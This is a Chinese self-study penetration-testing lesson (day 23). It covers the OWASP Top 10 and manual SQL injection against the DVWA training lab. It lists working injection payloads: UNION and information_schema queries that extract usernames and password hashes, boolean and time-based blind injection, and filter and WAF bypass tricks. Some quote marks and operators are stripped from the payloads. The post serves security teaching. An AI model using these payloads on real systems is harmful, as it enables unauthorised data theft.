自学渗透测试第23天(漏洞分类与sql注入模仿)
第9章 服务配置与工具链联动第23–25天9.1 漏洞分类与SQL注入模仿第23天核心目标掌握Web漏洞分类体系理解OWASP TOP 10漏洞分类建立系统化的漏洞认知框架。精通手工SQL注入流程超越自动化工具掌握从注入点探测、信息获取到数据提取的完整手工注入流程与技巧。理解漏洞防御与绕过了解SQL注入的常见防御机制如WAF、过滤函数并学习基础的手工绕过思路。模块一Web漏洞分类体系1.1 OWASP TOP 10核心漏洞注入SQLi, NoSQLi, OS命令注入, LDAP注入。失效的身份认证弱口令、会话管理不当、注销机制失效。敏感信息泄露明文传输密码、错误信息泄露、不安全的直接对象引用。XML外部实体XXE攻击。失效的访问控制水平/垂直越权。安全配置错误默认配置、不必要的服务、错误的HTTP头。跨站脚本XSS。不安全的反序列化导致RCE。使用含有已知漏洞的组件未更新的框架、库。不足的日志记录和监控无法追溯攻击行为。1.2 漏洞利用链思想单一漏洞到权限提升如何将信息泄露、文件上传、SQL注入等漏洞组合实现从外网渗透到内网控制。模块二手工SQL注入深度实战2.1 注入点探测与确认经典探测Payload // 触发错误 \ // 触发错误 // 某些情况下 AND 11 // 真条件页面应正常 AND 12 // 假条件页面应异常如内容消失判断注入类型数字型id1-id1 AND 11/id1 AND 12字符型idadmin-idadmin AND 11/idadmin AND 122.2 信息收集数据库、用户、版本查询数据库版本MySQL: SELECT version, version() MSSQL: SELECT version Oracle: SELECT banner FROM v$version PostgreSQL: SELECT version()查询当前用户与数据库SELECT user(), database()联合查询注入步骤确定列数ORDER BY 5递增直到报错。确定显示位UNION SELECT 1,2,3,4,5替换显示位获取信息UNION SELECT 1,version,user(),database(),52.3 提取数据库、表、列、内容MySQL信息模式-- 获取所有数据库名 UNION SELECT 1, schema_name,3,4 FROM information_schema.schemata -- 获取指定数据库如dvwa的所有表名 UNION SELECT 1, table_name,3,4 FROM information_schema.tables WHERE table_schemadvwa -- 获取指定表如users的所有列名 UNION SELECT 1, column_name,3,4 FROM information_schema.columns WHERE table_nameusers AND table_schemadvwa -- 提取数据 UNION SELECT 1, concat(user, :, password),3,4 FROM dvwa.users2.4 盲注布尔与时间盲注布尔盲注通过页面返回内容的差异判断真假。id1 AND SUBSTRING((SELECT database()),1,1)d -- -- 如果页面正常则数据库名第一个字符是‘d’时间盲注通过执行延时函数判断。MySQL: id1 AND IF((SELECT database())dvwa, SLEEP(5), 0) -- -- 如果页面响应延迟5秒则数据库名为dvwa模块三防御机制与基础绕过3.1 常见防御机制输入过滤过滤SELECTUNION等关键字。使用预编译语句最有效的防御手段。WAF基于规则库拦截恶意请求。3.2 基础绕过技巧大小写混淆SeLeCt替代SELECT双写关键字SELSELECTECT过滤后变为SELECT内联注释/*!SELECT*/(MySQL)URL编码%55nion表示Union空白符替换使用/**/%0a代替空格等价函数/语句替换SUBSTRING-MID-LEFT模块四当日达标实战任务4.1 漏洞分类练习分析场景给定三个漏洞描述A) 网站将用户输入直接拼接到system()函数中。B) 网站的Cookie中userid参数可被篡改从而访问他人数据。C) 网站的登录页面在失败时返回“用户admin不存在”。请判断它们分别属于OWASP TOP 10中的哪类漏洞。4.2 DVWA手工注入挑战在DVWA的SQL Injection模块安全级别设为Medium或High完成以下手工注入任务探测与确认判断注入类型数字/字符及闭合方式。获取信息获取数据库版本、当前数据库名、当前数据库用户。提取数据获取users表中的所有用户名和密码MD5哈希形式。盲注实践在SQL Injection (Blind)模块通过布尔或时间盲注获取数据库版本号的第一个字符。4.3 绕过简单过滤假设一个过滤规则是删除输入中的SELECT和UNION关键字不区分大小写。请构造一个Payload使其在过滤后仍能正常执行UNION SELECT 1,2,3。模块五常见问题与解决方案5.1 手工注入难点页面无回显优先考虑布尔盲注或时间盲注。观察页面内容的细微变化如“存在/不存在”、“Welcome/”或使用SLEEP函数。UNION查询列数不一致耐心测试ORDER BY或使用NULL填充列如UNION SELECT NULL, NULL, NULL。5.2 绕过失败WAF拦截严格尝试使用更冷门的编码方式、分块传输、HTTP参数污染等技术或寻找未受WAF保护的其他功能点。明日预告第24天将聚焦Linux服务配置与连接测试学习如何安装、配置、启动和测试常见的网络服务如SSH, Apache, MySQL这是内网渗透和权限维持的重要基础。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2548190.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!